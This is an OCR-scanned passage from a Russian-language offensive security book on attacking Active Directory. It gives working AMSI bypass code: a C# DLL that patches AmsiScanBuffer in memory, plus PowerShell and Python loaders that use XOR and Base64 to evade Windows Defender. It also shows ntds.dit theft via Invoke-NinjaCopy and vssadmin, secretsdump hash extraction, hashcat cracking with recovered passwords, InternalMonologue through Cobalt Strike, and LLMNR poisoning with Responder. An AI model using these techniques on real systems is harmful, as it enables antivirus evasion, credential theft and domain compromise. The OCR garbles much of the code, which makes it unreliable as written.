меру, если хоть где-то в коде встретится строка arnsiutils, дальнейшее выполнение
кода будет заблокировано.
PS
C : \Us e1�s\root\Desktop>
.
.
am".•!1t1 i ,
'
Рис. 5.14. Ошибка выполнения, вызванная AMSI
За щита от детекта в Active Directory
101
Обойти сканирование на основе известных строк легко: достаточно не использо
вать строки в целом виде (рис. 5 . 1 5). То есть, если мы разобьем строку arnsiutils на
строки arns, iut и ils, код будет успешно выполнен.
PS C : \Us e r s \ root\Des k top> " a111 s " - " i u t " � " i l s "
aщs i u t i l s
Рис. 5.15. Конкатенация строк для обхода сканирования AMSI
Но при использовании серьезных сценариев этот трюк может не сработать. Таким
образом, мы можем вообще уйти от конкатенации разделенных строк благодаря
простому кодированию и декодированию строк. В результате мы получим исход
ную строку в момент выполнения. В качестве кодировки можно использовать
Base64 (рис. 5 . 1 6).
" 1 1 1t
PS < : \LJS<'r·s \r·oot\Desktop> [Conve r· t ] : : ToBase64 S t r i n g ( [ Text . E ncodi ng] : : UTF8 . GetBytes C ·'''"·
' '' ') )
YWl.t dXVOawxz
л ;"о \ f;,:iл-.. 1 ' )
PS < : \Users \root\Desktop• fConve 1· t ] : : F romBase64 S t r i ng (
91
109
11)
10)
1 17
116
1 0 ')
1 01!
11)
P S ( : \Users\r·oot\Desktop> [ Тe x t . Е nc odi ng] : : UТF 8 . Getst r i ng!,[Conve1·t] : : F ron1Base64st r i ng( '",w1.0 ,,х·, '"''"! " ) )
ams i u t i l s
Рис. 5.16. Использование кодировки Base64 для обхода сканирования AMSI
Но если мы сгенерируем полезную нагрузку и закодируем ее в Base64, то AMSI все
равно ее распознает (не помогает скрыться даже двойное кодирование Base64)! По
этому куда более надежным способом будет использование XOR (рис. 5 . 1 7).
PS C : \Users\root \Desktop>
PS С : \Users\root\Desktop>
PS С : \1Jsers\root\Desktop>
PS C : \llse1·s\root\Desktop>
PS С : \IJseгs\гoot \ Desl-'.top>
96
108
114
104
99
120
113
96
114
114
PS С: \Llsers\root\Desktop>
P S С : \IJsers 1root\Desktop>
97
109
115
Н!5
98
121
112
97
115
115
PS С : \Users\root 1Desktop>
amsibypass
$ е пс
@О
$dec
@( )
$txt
foreach( $byte in [ Text . E ncoding ] : : UT F 8 . GetByt e s ( $txt ) ) { $enc " $byte
$enc
forea c h ( $byte in $enc ) { $dec
$dec
•-
$byte ' "' '
1 }
[ Text . Encoding] : : UТF8.GetString($dec )
Рис. 5.17. Использование XOR для обхода сканирования AMSI
-' С - 1
}
Глава 5
102
Но XOR тоже можно распознать, правда для этого потребуется более высокая абст
ракция. Поэтому лучше использовать комбинированные решения: например, XOR
+ Base64, Base64 + ROТI 3 .
Как м ы уже говорили в прошлых главах, гораздо удобнее немного модернизиро
вать средство защиты, тем самым меняя его функциональные возможности. То же
самое и с AМSI: обход строк - это хорошо, но лучше, когда оператор использует
полные скрипты и ему ничего не мешает.
AMSI имеет несколько функций, которые выполняются перед запуском любого ко
да PowerShell (начиная с PowerShell 3 .0), поэтому, чтобы полностью обойти AMSI
и выполнить любой вредоносный скрипт PowerShe\l, оператору необходимо внести
поправки непосредственно в памяти.
AMSI защищает PowerShe\l, загружая библиотеку ams i . dll в область памяти
PowerShell. При этом AМSI не различает пользователя с низкими привилегиями и
привилегированного пользователя, такого как администратор какой-нибудь служ
бы. AМSI загружает свою DLL для любого экземпляра PowerShell и сканирует кон
соль PowerShell с помощью Windows Defender, чтобы определить, следует ли бло
кировать операцию с полезной нагрузкой или разрешить ее выполнение.
Для начала необходимо собрать DLL-библиотеку, которая будет отключать AМSI.
Немного изменив код (представленный на одной из конференций - сейчас я уже
не вспомню, на какой), чтобы уйти от использования слов AМSI, БУРASS и подоб
ных, получаем следующую DLL:
using System;
using System. Runtime . InteropServices ;
puЬl i c class А
{
static byte [ ] х64
=
new byte [ ]
ОхВВ , Ох5 7 , ОхО О , Ох0 7 , ОхВ О , ОхСЗ } ;
static byte [ ] х В б
=
new byte [ ]
ОхВВ , Ох5 7 , ОхО О , Ох07 , ОхВ О , ОхС21
Oxl B , ОхОО } ;
puЬlic static void В ( )
{
if
( is 64Bit ( ) )
РА ( х 64 ) ;
else
РА (х8 6 ) ;
private static void PA (byte [ ] patch)
{
try
{
var lib
=
Win32 . LoadLibrary ( "amsi . dll" ) ;
var addr = Win3 2 . GetProcAddress ( lib, "Ат" + " s iS" + " са" + "nВu"
+
" ffer" ) ;
uint oldProtect ;
Win3 2 . VirtualProtect ( addr ,
( U intPtr) patch . Length, Ох4 0 , out oldProtect ) ;
Защита от детекта в Active Directory
103
Marshal . Copy ( patch, О , addr, patch . Length ) ;
catch ( Exception е )
{
Console . WriteLine ( " [ х ]
{ 0 ) 11 , e . Message ) ;
Console . WriteLine ( 11 [ х ]
{ О } 11 , е . InnerException ) ;
private static bool is 64Bit ( )
{
bool i s 64Bit = true ;
if ( IntPtr . S ize
==
4)
i s 64Bit = false;
return is 64Bit ;
class Win32
[ Dll import ( " kernel 3 2 " ) ]
puЫic stat ic" extern IntPtr GetProcAddress ( IntPtr hМodule, string procName ) ;
[ Dl l import ( 11 kernel3211 ) ]
puЬlic static extern IntPtr LoadLibrary ( string name ) ;
[ Dl l import ( " kernel3211 ) ]
puЬlic static extern bool VirtualProtect ( IntPtr lpAddres s , UintPtr dwSize,
uint flNewProtect, out uint lpflOldProtect ) ;
Состояние: Помещено в карантин
Файлы в карантине находятся в изолированной области, rде они не могут
нанести вред устройству. Они будут удалены автоматически.
Обнаружена угроза: Trojan:PowerShell/UnicomByp�ss.A
Уровень оnовещен >1я: Критический
Рис. 5.18. Сообщение Windows Defender при обнаружении скрипта
Теперь используем PowerShell-cкpипт для загрузки DLL и выполнения целевой
функции. Исходный сценарий, который работал на момент представления этой
методики на конференции, уже легко обнаруживается AMSI (рис. 5 . 1 8).
function В-А
i f ( -not ( [ System. Management . Automation . PSTypeName ] 11A" ) . Туре )
[ Reflection . As semЬly] : : Load ( [ Convert] : : FromВase64String ( 11DLL библиотека
в BASE64 11 ) ) 1 Out-Null
Глава 5
104
Write-Output " DLL has Ьеел refleeted" ;
[А] : : В ( )
Это происходит потому, что AМSI способен снять кодировку Base64. Но можно
комбинировать методы обхода. К примеру, Base64 + XOR + Base64. Закодируем
DLL с помощью следующего скриmа на Python:
# ! /usr/biл/pythoлЗ
import base64
with opeл ( " . /AВ . dl l " ,
" rb" ) as file :
·dll = file . read ( )
еле = base64 . b 64eлeode (dll )
елехоr = bytes (
елееле
=
[ 9 6лЬуtе for byte iл еле ] )
base64 . b64eлeode ( eлexor)
рriлt ( елееле)
Тогда PowerShell-cкpиm будет выглядеть следующим образом:
fuлetioл А-В
if ( -лоt ( [ Systern. Maлagerneлt . Automatioл . PSTypeName ] "А" ) . Туре)
$елееле = "Закодированная DLL библиотека"
$еле = [Text . Eлeodiлg ] : : UTF8 . GetStriлg ( [ Coлvert ] : : FromВase64 Striлg ( $eлeeлe ) )
$dee=@ ( )
foreaeh ( $byte iл [Text . Eлeodiлg] : : UTFB . GetBytes ( $eлe ) ) { $dee += $byte -bxor 9 6
$ u = [Text . Eлeodiлg] : : UTF8 . GetStriлg ( $dee)
[Refleetioл . AssernЬly] : : Load ( [ Coлvert ] : : FromВaseб4 Striлg ( $u ) )
1 OUt-Nul l
Write-Output "DLL has Ьеел refleeted"
[А] : : В ( )
Такой подход позволяет избежать детектирования (рис. 5 . 1 9).
Это очень полезная и удобная техника, позволяющая работать со скриmами, кото
рые AMSI ранее блокировал.
Рис. 5.19. Отключенный AMSI больше не реагирует на опасные строки
ГЛАВА 6
Поиск критически важн ых данн ых
при атаке на домен
Для успешной атаки .на Active Directory, захвата рабочих станций и перемещения
по сети настоящему хакеру не обязательно владеть учетными данными пользовате
лей. Но иногда без них не обойтись. А чтобы завладеть учеткой, нужно знать, где
в сетях с Active Directory обычно хранятся пароли и как их оттуда добыть.
Работа с ntds . dit
Файл ntds . dit представляет собой базу данных, в которой хранится информация
Active Directory, такая как сведения о пользователях, группах и членстве в группах.
База также включает хеши паролей для всех пользователей в домене.
Первым делом хакеру следует получить копию файла ntds . di t. Он расположен на
контроллере домена в директории с : \Windows \NTDS\. Но просто скопировать его не
получится, т. к. этот файл постоянно используется EFS в Active Directory, и опера
тор (пентестер, редтимер, злоумышленник или исследователь) рискует получить
следующее сообщение об ошибке (рис. 6. 1 ).
Файл уже 111сnользуется
Действие не может быть аыпол.нено, так как этот файл. открыт в
"Шифрованная файловая система (EFS)".
Закройте файл
и повторите попытку.
ntds.dit
Тиn: Файл "D1т·
Размер: 20,О МБ
Дата изменения: 12.032020 1 3:35
1
\
Повторить попыт�<у
Отмена
(v) Подробнее
Рис. 6.1 . Ошибка копирования файла ntds.dit
Гла ва б
106
расскажу о двух способах скопировать данный файл. Первый способ использует
скрипт PowerShell, а второй - копирование с помощью встроенных средств
Windows.
Я
Скрипт Invoke-NinjaCopy
(https://github.com/PowerShellMafia/PowerSploit/ЫoЫ
позволяет копировать любые исполь
зуемые службами Windows файлы, в том числе и ntds . dit. При этом скрипт не за
пускает посторонних служб и не внедряется в процессы или контекст System. Этот
инструмент получает дескриптор диска, что дает ему право на чтение необработан
ного ма,ссива байтов всего тома. Затем скрипт анализирует структуру NTFS и ищет
определенную сигнатуру. Таким образом определяет, где находится файл, и побай
тово его копирует. Так можно читать даже файлы, которые блокирует LSASS
(рис. 6.2).
master/Exfiltration/lnvoke-Ninj aCopy.psl)
PS
p;-f------
c :.;5---:-·-:o
:'11W ke-HinjaCo µ y .
С : '\,) 1 n v o l<e-HinjaCopy --patl1 с = '-\Hn do 1-1s'\,HIDS '- n t ds . d it - v e 1•bos e - loc a ldes t inat i
on c : '\,n t d s . d it
ПОПРОБНО : Pot-1e1•S l1e l l P1•o c e s s I D : 1 6 72
ПОJ]РОБНО : C a l l i n g I n v o ke -Me11101•yLo adL ib1•a1•y
ПОПРОfiНО : Ge t t in g basic РЕ i n f o 1•111a t i o n f 1•0 111 t l1e f i le
ПОПРОБНО : A l locat ing 111е 1110 1•у f o 1• t lie РЕ a n d щ• i t e i t s lieade1•s t o 111е 111о >'у
ПО.11РОБНО : Ge t t in g d e t a i l e d РЕ i n f o 1•111a t i o n f1•0 111 the }1eade 1•s loaded in 111е 1110 1•у
flO.llPOfiHO : S t a1•t fldd1•e s s : 3747714 8 2 6 2 4
Endfl dd1•e s s : 374771 6 3 41 76
ПO.llPOfiHO : Сору РЕ s e c t io n s in to 111е 1110 1•у
ПО.llРОБНО : Update 111е 1110 1•у add1•es s e s bas e d on 1-1lie 1•e t l1e РЕ t·1as ac t н a l ly loaded in
111 е 111 0 1•у
ПО.llРОБНО 1 111po 1•t DLL ' s n eeded Ьу t }ie РЕ t�e а1•е lo ading
ЛОПРОfiНО D o n e i111po1•t i n g DLL i111p o1•ts
flO.llPOfiHO Update 111e 111o l' y pl'o t e c t ion f lags
ПОПРОfiНО C a l l i n g d l l111a in so t l1e DLL knoнs it l1as b e e n loaded
ПО.llРОБНО Ca l l i n g S t e a l t l1ReadFile in DLL
flO.llPOБHO Read 5 2 4 2 8 8 1!! byt e s . 1 5 745 1!!2 4 byte s i•e 111a in in g .
ПO.llPOfiHO Read 5 2 4 2 8 8 1!! byt e s . 1 1!!5 1!!2 1 44 byte s i•e111a in in g .
ПOJ]POfiHO Read 5 2 4 2 8 8 1!! byt e s . 5 2 5 9 2 6 4 byt e s 1'e 111a i n i n g .
ПO.llPOliHO Read 5 2 42 8 8 1!! byte s . 1 6 3 8 4 byt e s i•e 111a in in g .
ПO.llPOliHO Read 1 6 3 8 4 byt e s . (!) byt e s 1•e111a in in g .
ЛO.llPOliHO D o n e н n load i n g t l1e l ib1•ai•ies n e e d e d Ьу tl1e РЕ
ПO.llPOliHO C a l l i n g d l l111a in so t l1e DLL knot-1s it is be i n g tш loaded
ПО.11РО ЫЮ Don e !
pg
Рис. 6.2. Копирование файла с помощью lпvoke-NiпjaCopy
Плюс ко всему данный скрипт написан на PowerShell, поэтому запускается из
памяти, что позволяет избежать его сохранения на диск.
Второй способ - теневое копирование. Для этого используется установленный
в Windows инструмент vssadmin (рис. 6.3). Сначала следует создать теневую копию
с помощью следующей команды:
f
> vssadmin create shadow / for=C :
: \>vssadшi ti cr-eate shado"1 /for·=C :
'Ssadnii n 1 . 1 - Программа командной строки для администрирования слуJt-бы теневого копирования томов
Корпорация r�айкросоqп (Mi cros oft Coгporti 011) , 2001-201 3 .
(С)
Успешн о создана теневая копия для 1 1( : \ "
IO теневой коnии : {ld7 284 3 4 - fc4a-4803-9938- c27dc1814 2 c 5 }
Иыя тома теневой копии : \\?\GLOBдLROOT\Devi ce\Harddi s kvol unieShado\\Copyl
Рис. 6.3. Соэдание теневой копии с помощью vssadmiп
Поиск критически важных данных гrри атаке на домен
107
теперь можно копировать оттуда никем не используемый файл
(рис. 6.4).
А
ntds . dit
> сору \\?\GLOВALROOT\Device\ [имя тома теневой кoпии ] \windows\ntds\ntds . dit C : \ntds . dit
с : \>сору \ \ ?\GLOBALROOT\De\1i ce\Har·ddi skVo l umeShad01-.Copyl\�.1 ndo1"s \ntds\пtds . di t
1.
Скопировано файлов :
.
с:
\пtds . d i t
· ..
Рис. 6.4. Копирование пtds.dit
Таким образом, файл ntds . dit можно скопировать двумя разными способами. Но он
зашифрован, и, чтобы его прочитать, необходим файл SYSTEM, получить который
можно также несколькими способами. К примеру, из той же теневой копии
(рис. 6.5):
> сору \ \ ? \GLOBALROOT\Device\ [имя тома теневой кoпии ] \windows\system32\config\system
C : \system
или из реестра (рис. 6.6):
> reg save hklm\sys tem C : \sys
- : ,,сору \\ ?\G�OBALROOT\Devi се\ Har·ddi skVo l umeSl1ado"'Copyl\w1 пdows\system32\conf1 g\system С : \system
.копировано фаилов :
1.
-..
.
'
Рис. 6.5. Копирование файла system из теневой копии
. : \>геg save hklm\system C : \sys
nерация успешно завершена .
Рис. 6.6. Получение файла system из реестра
Теперь у оператора есть необходимые файлы, и он может перенести их к себе на
машину для дальнейших работ, точнее для извлечения информации и взлома хешей
паролей. Но сначала следует удалить теневую копию (рис. 6.7).
> vssadmin delete shadows /shadow= [ I D ' тeнeвoй копии ]
: \>vssadmi n d e l ete shadows /shadow={ ld728434 - fc4a-4803-9938- c27dcl814 2 c 5 }
11ssad1ni t1 1 . 1 - Программа командной строки для администрирования службы теневого копирования томов
(С) Корпорация �1айкрософт (�ii cr-osoft Corpor.t i on) , 2001 - 201 3 .
В ы деiктвительно хотите удал и т ь теневые копии
Ус пешн о удалены теневые копии
(1) 7
(Д/Н) : [Н]
д
(1) .
Рис. 6.7. Удаление теневой копии
Извлечь хеши можно с помощью скрипта secretsdurnp, входящего в пакет impacket
(bttps://gitbub.com/SecureAutbCorp/impacket, рис. 6.8).
# # secret sdurnp . py -system . / system -ntds . /ntds . dit LOCAL
Для взлома NТLМ-хешей можно использовать
правим на перебор (рис. 6.9, 6. 1 0).
hashcat .
hashcat -а О -m 1 0 0 0 ntlm. hashes dict . txt
Так мы получим некоторые пароли в открытом виде.
.
Сохраним их в файл и от
Гла ва б
108
: -/tmi:# secretsdump. ру -system . /system -ntds . /ntds . di t lOCAl
Impacket v O . 9 . 21-dev - Copyright 2019 SecureAuth Corporation
[ • ] Target system bootKey : 0x67b61535Зc40fa07b353a9fdf77bae93
[ •] Dumping Domain Credentia ls ( d omain\uid : l'id : 1mhash : nthash)
[ •] Searching for peklist , Ье patient
[ • ] РЕК # 0 found and decrypted : c6569b6173a2f40e7b8a1a9614f38e5a
[ • ] Reading and decrypting hashes from . /ntds . d i t
Администратор: 500 : aad3b435b51404eeaad3b43Sb51404ee: 9Заа64Ыd73074аfаббеfе7212еа9еd5 : : :
Гость : 501 : aad3b435b51404eeaad3b435b51404ee: Зld6cfe0d16ae931Ы3c59d7e0c089 c 0 : : :
root : 1001 : aad3b435b51404eeaad3b<.3Sb51404ee: 259745сЫ2За52аа2еб9Зааасса2dЬ52 : : :
DC1$ : 1002 : aad3b435b51404eeaad3b435b51404ee : 21b31d757b3219663e04e9cb8cd8295 1 : : :
k1·btgt : 502 : aad3b4З5b51404eeaad3b43Sb51404ee : 7d30c92f0af96336fb0d70dad8f92b39 : : :
tdomain . dom\a lex : 1105 : aad3b43Sb5llo04eeaad3b43Sb511o04ee : 8c7dccc5la3fс77а031 ffbc2f3cd619e: : :
tdoma i n . dom\vivo : 1109 : ааdЗЬ435Ь51404ееааdЗМЗ5Ь51404ее: 8c2e66ee681274c73ela21518a0d16e4 : : :
tdomain . dom\jenny : 1 1 1 0 : aad3b435b51404eeaad3b435b51404ee: сdабсс99есЬ42еаб6Ыб0002еЬ907сf4: : :
tdomain . dom\admin_sql : 1112 : aad3b435b51404eeaad3b435b51404ee: 804a133Ьl6859aellb69ed21d794dda3 : : :
tdomain . dom\roman : 1115 : aad3b435b51404eeaad3b435b51404ee: ae491d078a9daca1908430d28d0c7ce5 : : :
\ЧIN-CLIENT$: 1118 : aad3b435b51404eeaad3b435b51404ee: с9с5с89аЫ7485е7297fс0Ьdбаа8Ь71 7 : : :
( • ] Kerberos keys from . /ntds . dit
Администратор : aes25б-cts-hmac- shal -96: 1151292d19048ба049еаЬf63 fSf209a1 f8e5f2ef9c86dЫ19f811128dS5607S0
Админ11стратор : aesl28-cts-hmac -shal-96 : e72678e0fс6Ы 9се 74аа3с4237 70086а
Адм11нистратор: des-cbc-md 5 : 157375d9b02f а898
DCl $ : aes256-c ts-hmac-sha 1-96 : ЬсЗа 7db45d05b387 4dd3cd7711cc4 f f 62601649471094cfacb5cd33a9c3c89fе
DC 1 $ : aes128-ct s-hmac-sha 1-96 : lb4 7513c59b38abbf а0е54с42 f4Ь584е
DC1$ : des-cbc-mdS : da1010ab57Sd3de3
krbtgt : aes256-c ts-hmac-shal-96 : 24b8bad8e04a47598c29d297а0ббf 7f4d3697аббес2195Ье50fа84бса 7еЬ6526
krЬtgt : aes128-cts-hmac-shal-96 : 41 fbdaff9ff73fc4204055b3d9db8136
krЬtgt : des-cbc-mdS : 86fbb3c4154f d5f2
tdoma in . dom\a lex : aes2S6-cts-hmac-shal-96 : dc445d49e773aб578ЫeSdela8a096e62ee89e4903999bclaf6Ыaa6aSf72fЫ
tdomain . dom\a lex : aes128-cts-hmac-sha1-96 : de5d9323f11199Ыa540ec403430d7da
tdomain . dom\alex : des-cbc-md5 : 7c5d94f de5f d384f
tdoma in . dom\ v i v o : аеs25б-с ts-hmac-sha 1-96: bf9cdd4 fес7724406Ь0с88Ьее5а8ЗЬ03сс48 f99c22c72702d2Ыfе4а fS 7327Ьс
tdoma i n . dom\ v i vo : aes128-cts-hmac-sha1-96 : 8494629Ы2f 126d939ебе59050522112
tdomain . dom\vi v o : des-cbc-mdS : f 1ебЬ39ЬсЬсе159d
tdoma i n . dom\j enny : aes2 56-с ts-hmac-sha 1-96 : f253411a3280c59cd56f8d7 ef 423a5aad4380de0dc8b3b 7d7def fe85f 42d f бf 1
tdoma i n . dom\jenny : aes 128-cts-hmac-sha1 - 96 : e04bfef1e9dccб46975dЬfe9af85020 f
tdomain . dom\jenn y : des-cbc-mdS : 269d0862df 4feaad
tdoma i n . dom\admin_ sq l : aes256-ct s-hmac-shal-96 : 6 754а243с ldd1220f9444ba2ba5Sb09f З l9cdбe2f59dd64eЫ574489с06 f1f72
tdomain . dom\admin_sq1 : aes128-cts-hmac-shal-96 : 8с755712504а394512f233За29с64Ь3с
tdomain . dom\admin_sql : des-cbc-mdS : 0dc81бe364f42a79
tdoma in . dom\roman : aes256-cts-hmac-sha1-96 : 167 59а 7 c8cl0976cl fЗddc fб20ее5с7се7 4877ce6eb62d4aa0c f37da5Scd59c4
tdomain . dom\roman : aes 128-cts-hmac-sha 1-96 : Ые8ес4dсеЬ81 б8аЬ48е383801с30849
tdomain . dom\roman : des-cbc -mdS : 0de3d619fd68a16e
WIN-CLIENT$: aes256-c ts-hmac-sha1-96 : 99с0Ь2еаЫЗ3еf8Ь94 7f86e 77fa3caad092d3a2bce298148bc8f10ced8053b8d
WIN-CLI ENT$ : aes 128-с t s-hmac- shal-96 : З f c288d553df f6b94d55f с8608Ьб811е
YIIN-CLIENT$: des-cbc-mdS : 46616ee3fb64dc9b
[ • ] Cleaning up . . .
Рис. 6.8. Использование secretsdump для извлечения хешей
мр# cat ntlm. hashes
Ад/>1инистратор : 500 : ааd3Ь435Ь51404ееааd3Ь435Ь51404ее : 9Заа64Ыd73074аfаббеfе7212еа9еd 5 : : :
Гос т ь : 50 1 : ааdЗЬ435Ь51404ееа � dЗЬ435Ь51404ее : Зldбсfе0d16ае931ЫЗс59d7е0с089с0 : : :
root : 1001 : aadЗb43Sb51404eeaad3b435b51404ee : 259745cЫ2Зa52aa2e693aaacca2db52 : : :
DC1 $ : 1002 : aad3b435b51404eeaad3b435b51404ee : 2lb31d75 7b32 19663e04e9cb8cd82951 : : :
krbtgt : S02 : aad3b435b51404eeaad3b435b51404ee : 7d30c92 f0af963Збfb0d70dad8f92b39 : : :
tdoma in . dom\alex : 1105 : aad3b435b51404eeaad3b435b51404ee : 8c7dccc51a3fc77a031 ffbc2f3cd61 9e : : :
tdoma i n . dom\vivo : 1109 : aad3b435b51404eeaad3b435b51404ee : 8c2e66ee681274c73ela21 518a0dlбe4 : : :
tdoma i n . dom\jenny : 11 1 0 : aad3b435b51404eeaad3b435b51404ee : cdaбcc99ecb42ea66Ы60002eb907cf4 : : :
tdoma i n . dom\admin_sql : 1112 : aad3b43Sb51404eeaad3b435b51404ee : 804a133Ы6859ae11b69ed21d794dda3 : : :
tdoma i n . dom\1·oman : 1 1 1 5 : aad3b43Sb51404eeaad3b435b51404ee : ae491d078a9daca1908430d28d0c7ce5 : : :
WIN-CLIENT$ : 1 1 1 8 : aadЗb435b51404eeaad3b435b51404ee : c9c5c89aЫ7485e7297fc0bdбaa8b71 7 : : :
Рис. 6.9. Файл с хешами
Поиск критически важных данных при атаке на домен
109
31dбc fe0d16ae931b73c59d7e0c089 c 0 :
259745сЬ12За 52аа2е69Зааасса2dЬ5 2 : 12345678
8c2eббee681 274c73ela21518a0dlбe4 : bart 1979 !
8c7dccc51a3fc77a031ffbc2f3cd619e : Bridge543
cdaбc c99ecb42ea66Ы60002eb907 cf4 : J i n 1989
804a133Ы6859ae11bб9ed21d794ddaЗ : SuperPassword9
ae491d078a9daca1908430d28d0c7ceS : Uias1357
Approach ing final keyspace - workload a d j usted .
93aaб4b7d73074afaббefe7212ea9edS : ZXCvbn 1 2 3
Рис. 6.10. Результат работы hashcat
Получение данн ых аутенти срикации
без взаимоде йствия с LSASS
Конечно, для получения хешей пользовательских паролей можно использовать
mimikatz, но сделать это без привлечения процесса LSASS нельзя, т. к. mimikatz
достает данные непосредственно из памяти этого процесса.
В системе Windows NetNTLM - это протокол запроса-ответа, используемый там,
.где Kerberos не поддерживается. При обычной атаке оператор может активировать
NetNTLMv2 в качестве клиентской аутентификации, а затем попробовать пройти
проверку подлинности на своем подставном сервере, чтобы перехватить и проана
лизировать запрос от клиента.
Но использовать сеть - не всегда хорошая идея. Избежать этого нам поможет
SSPI - программный интерфейс в Microsoft Windows между приложениями и про
вайдерами безопасности. Оператор может локально вызвать процедуру метода
аутекrификации NTLM из приложения пользовательского режима через SSPI. Это
позволит вычислить ответ NetNTLM в контексте вошедшего в систему пользова
теля.
Сделать это можно с помощью инструмента lnternalMonologue:
bttps://gitbub.com/eladsbamir/lnternal-Monologue/bloЬ/master/
InternalMoriologueExe/Ьin/Release/lnternalMonologue.exe).
Он обладает широким спектром возможностей, как и множеством вариантов запус
ка (рис. 6. 1 1 ).
Пример атаки Downgrade с помощью этого инструмента и Cobalt Strike показан на
рис. 6. 1 2. Таким способом вполне реально получить NetNTLMv2-xeш пользователя,
под которым выполнена атака.
Для взлома NetNTLMv2-xeшa также можно использовать hashcat (рис. 6. 1 3, 6 . 1 4).
hashcat
-
а О -m 5 60 0 NetNTLМv2 . hashes dictionary . txt
Эта атака выполняется более скрытно по сравнению с использованием mimikatz,
поскольку в данном случае нет необходимости загружать код · в защищенный про
цесс или выгружать память из него. Так как NetNTLMv2-xeш становится доступен
Event Log
Х
1
у
ВР-аса
1
1265 1 1 IJytes
[Тп1е /Fa lse J . Optior1<1 l . Def11lt i s tr·нe .
[lefнlt i s t1·u e .
Arl 8 - tJyte lo11q v • l u e i n ascii-hex represe11tatio11 .
Рис. 6.14. Результат работы hashcat
Рис. 6.1 3. Файл с хешем
Рис. 6.1 2. Dоwпgгаdе-атака с помощью lпteгпalMoпologue
root: : TDOl1AIN: 1122 334455667788: 73с 7d445ec 590< 29d80207c ее с 2а799е : 0101000000000000<1f вее92041 f a<l50lc ЗOl18l4c a738f el>l!000000000800 зооо 30000000000000
flot elevate<I . Perfo 111li11q attack 1•itl1 сште11t llТLl-1 setti11qs 011 сште11t llSH
Cl1ecki11q tl1reads for· llSH toke11s e11dl!le d : F<>lse
l + J гeceived o ut1щt :
Tasked Ьеа с о 11 to гun . llEТ p roq raш Inteп1alftonoloqt1e . e x e - Dovlfl!) Гade Тrне -Vнbose Тп1е
l+J l1ost c alled l1оше . se11t : 120565 l;ytes
1· J
Optio n a l . Defult i s 1122 В4455Ьб7788 .
Optio11 d l . Defнlt ] s fals e .
Рис. 6.1 1 . Справка lпteгпalMoпologue, загруженного через Cobalt Stгike
Cl1allenqe - 5 ecifies tl1e �IТ L/1 c hdlle11qe to Ье use<I .
Vнl1ose - SfJecifies whethн р гiпt vнl1ose ou tp11t 01· п о t [Tп1e/F<>lse J . Optio n a l . Defult is f a l s e .
Tl1 reads - <;pecifies whetheг t o try to lo< дte toke11s t o i111pнso1мte f го111 tlн·e,нls о г n o t lTпJe/False J .
I111personдte - Specif i e s wl1etl1er t o try to i1щ)erso11ate а Н otl1н avai lаЫе нsегs о г п о t l T r·ue/Fal s e J . Optio11d l .
Restore - Spe<ifies wl1etl1н to restнe tl1e нiqinal v•lues f гош ЬefOl'e tl1e NТLt1 1low11qrddr 01· 11ot [ Т п1e/Fdlse l . Optio11 d l , Deft1lt is t п1 е .
Dow119rд1le - <;p eci fies V1hetl1eг to 1>нfо 11н ан NTLM dowпqгade ог ноt
I11te п1<1lИ011olo9t1e - Do1·111qrade Fdlse · Restor·e False · In1peгsorldte Тпrе · Ve rbose False · (hdlleпqe 1122334455&67788
EXdlllp le :
I11 te п1dHto11oloqt1e - Dow119гade Tпre/Fдlse - Restor·e Tпre/Fdlse - I111peгso11dte Tпre/F•lse -Ver-l>ose Tпre/Fdlse -<l1dlle11•1e дscii-l1ex
IJSдq e :
[+) l1ost called t1оше . se11t
l+I re<eived output.
•
I11teп1дl11011oloq11e . exe · 11
ru 1 88Q
/roo t/t!1}p /I11teп1d Ио110 оqне . ен
l ' J TaskNI f)ertco11 to п111 . llEТ 1 поqr•ш
Ьедсо11> e x e c tJte- дssein
Ьемо11> e xeo1te - as seшl1ly 11·oot/tn111/I11teп1alИonoloq11 e . e x e -110"1н1rade Тп1е - Verl>ose т1·uе
1
Поиск критически важных данных при атаке на домен
111
в результате взаимодействия с локальным SSPI, сетевой трафик не регистрируется.
А значит, в атакуемой системе остается меньше следов.
LLMNR/NBT- NS Poisoning
В инфраструктуре Active Directory работа с именами хостов организована с исполь
зованием трех протоколов: DNS, LLМNR и NetBIOS. Все три обеспечивают взаи
модействие с удаленной машиной по ее имени, так же как и по адресу. Если клиент
Windows не может найти в сети имя определенного хоста с использованием DNS,
он выполнит запрос с помощью протокола Link-Local Multicast Name Resolution
(LLМNR). Если и здесь он потерпит неудачу, то будет выполнен запрос NetBIOS.
Различие между этими протоколами заключается в следующем. В случае с DNS
запрос адреса по имени будет направлен на сервер, в то время как протоколы
LLМNR и NetBIOS выполнят широковещательную рассылку в локальной сети, и
хост, чье имя запрашивается, должен ответить. При этом, в отличие от NetBIOS,
LLМNR способен работать с 1Рv6-адресами.
Оператор может прослушивать широковещательные рассылки LLМNR (UDP/5355)
или NBT-NS (UDP/ 1 3 7) и отвечать на них, как будто ему известно местоположение
запрошенного узла.
Таким образом, полная цепь атаки выглядит так (рис. 6. 1 5):
1 . Пользователь вместо
\ \printserver
по ошибке обращается к
\ \pintserver.
2. DNS-cepвep сообщает, что не имеет такой записи.
1 . Соединение с pintserver
2. Узеn неизвестен
Жертва
3 . Кто-нибудь знает \\pintserver???
5. Ок! Вот мои данные:
�
4 Да ' Э� р щес о'
Атакующий
Рис. 6.1 5. Схема атаки LLMNR Poisoning
DNS Server
Глава 6
1 12
3 . Клиент автоматически совершает широковещательный запрос.
4. Оператор отвечает на него, представляясь несуществующим сервером.
5 . Клиент передает аутентификационную информацию оператору.
На практике оператору нужен всего лишь один инстр'умент - Responder, которому
следует указать только сетевой интерфейс (рис. 6. 1 6).
: ·/tmp ll responder -I vmnet8
. - - - - . ----- . ----- . ---- - . ----- . -- - - - . -- 1
1
1 - 1 - - - ' -- - - 1 - 1 - 1
, 1 ,
1
1
1
1 1 1
1 -- '
__
_____
_____
NBT- NS ,
__
_____
_ _
__
_____
LU.INR & MDNS Responder
1 . ----- . -- - - .
1 1 -- 1 - '
,,
1 1
_____
__
3 . 6. 0. 8
Author :
Laш·ent Gaffie ( laurent . ga f fi e@gmail . com)
То kill
this script
hit CTRL-C
[ + ] Poisone1·s :
LLMNR
[ ON ]
NBT-NS
[ON]
DNS/MDNS
[ON]
[ • ] Server s :
НТТР se1·ver
[ON)
HTTPS server
[ ON ]
WPAO proxy
Auth proxy
SMB server
[ ON ]
Kerberos server
[ON]
SQL server
[ ON ]
FТР serve1·
[ ON ]
IMAP server
[ON]
РОРЗ server
[ ON ]
SMTP server
[ ON ]
DNS server
[ON ]
LOAP server
[ ON]
RDP server
[ ON ]
Рис. 6.16. Запуск Respoпder для LLMNR Poisoпiпg
